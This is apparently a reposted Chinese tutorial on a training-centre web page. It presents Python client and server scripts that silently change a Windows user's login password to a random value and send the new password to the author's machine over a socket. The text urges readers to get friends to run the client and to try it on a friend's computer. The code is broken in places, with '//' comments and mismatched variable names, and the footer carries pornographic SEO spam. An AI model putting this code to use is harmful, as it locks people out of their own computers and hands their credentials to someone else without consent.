<th id="ik4gr"><pre id="ik4gr"></pre></th>
<rp id="ik4gr"></rp>
    <dd id="ik4gr"></dd>

  1. <rp id="ik4gr"><object id="ik4gr"><blockquote id="ik4gr"></blockquote></object></rp>
      <rp id="ik4gr"></rp>
        <button id="ik4gr"><acronym id="ik4gr"></acronym></button>
      1. <rp id="ik4gr"><object id="ik4gr"><input id="ik4gr"></input></object></rp>
        1. 杭州嵌入式培訓
          達內杭州嵌入式培訓中心

          13732203138

          熱門課程

          如何利用python更改電腦開機密碼?

          • 時間:2018-12-21 14:15
          • 發布:轉載
          • 來源:網絡

          本文教大家用python腳本來控制小伙伴們windows電腦的開機密碼。沒錯就是神不知鬼不覺,用random()隨機生成的密碼,只有你自己知道哦,一起看看吧。

          代碼分兩部分,一部分是client端跟server端兩個。你只需要想辦法讓小伙伴運行你的client端腳本就OK啦。不過在此之前你一定要在你的電腦上運行server端哦。這樣子的話,client端會在你的小伙伴電腦上隨機生成一個密碼然后通過socket發給server端也就是發給你。

          如何用python更改windows開機密碼

          下面放代碼,順便加點注釋。

          client端代碼:

          # client.py: //文件名

          import socket //導入用到的模塊

          import getpass

          import subprocess

          import random

          client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socket實例

          client.connect(('10.0.0.1', 44444)) //連接server端IP地址/端口按你自己實際情況來

          user = getpass.getuser() //獲取計算機用戶名

          psd = '' //給一個psd變量(密碼)為空

          for j in range(1, 9): //生成1-9的隨機數

          m = str(random.randrange(0, 10))

          psd = psd + m

          subprocess.Popen(['net', 'User', user, psd]) //在本地執行(類似于cmd命令)

          client.send(psd.encode('utf-8')) //將密碼發送給server端

          back_msg = client.recv(1024)

          client.close() //關閉socketprint

          psd //避免出現差錯忘記密碼 先在本地打印

          server端代碼:

          # server.py //文件名

          import socket //導入

          socketserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建

          socketserver.bind(('10.0.0.1', 44444)) //綁定IP/端口

          server.listen(5) //監聽

          print('starting....')conn, addr = server.accept() //連接

          print(conn)

          print('client addr', addr)

          print('ready to recv the passwd...')

          client_msg = conn.recv(1024)

          print('client passwd changed: %s' % client_msg)

          conn.send(client_msg.upper())

          conn.close()

          server.close()

          OK代碼寫完后我們開始運行一下程序(推薦在虛擬機下運行,萬一出個差錯搞不好真忘記密碼!切記切記)~

          首先先在我的Linux上運行server端,來等待接收來自client端傳過來的密碼。

          運行server.py腳本

          運行server.py腳本

          然后windows運行client端,它會顯示生成的密碼

          (前提是在cmd命令行下運行否則你雙擊一下會消失)

          cmd下運行

          cmd下運行

          現在再注銷或者是重啟輸入原始密碼就會發現密碼錯誤,怎么密碼呢也已經發到我們的server端了。

          server收到密碼

          server收到密碼

          如果你現在想改回密碼的話,千萬不要關機,打開cmd輸入“net user 你的用戶名,你要改變的密碼” 然后回車就可以了。

          改變密碼

          恭喜你閱讀完了本文,get到了用python來更改windows開機密碼的小技能,有興趣的話趕緊用這黑科技試試你朋友的電腦吧。

          預約申請免費試聽課

          怕錢不夠?就業掙錢后再付學費!    怕學不會?從入學起,達內定制課程!     擔心就業?達內多家實踐企業供你挑選!

          上一篇:如何利用Python編寫一個拼寫糾錯器?
          下一篇:十個超受歡迎的機器學習Python庫

          達內網絡營銷培訓課程怎么樣?

          達內嵌入式培訓靠譜嗎?學什么?

          十個超受歡迎的機器學習Python庫

          如何利用python更改電腦開機密碼?

          選擇城市和中心
          貴州省

          廣西省

          海南省

          香蕉视频在线一级a做爰片免费观看视频 欧美成年性色生活片 百度 好搜 搜狗
          <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <文本链> <文本链> <文本链> <文本链> <文本链> <文本链>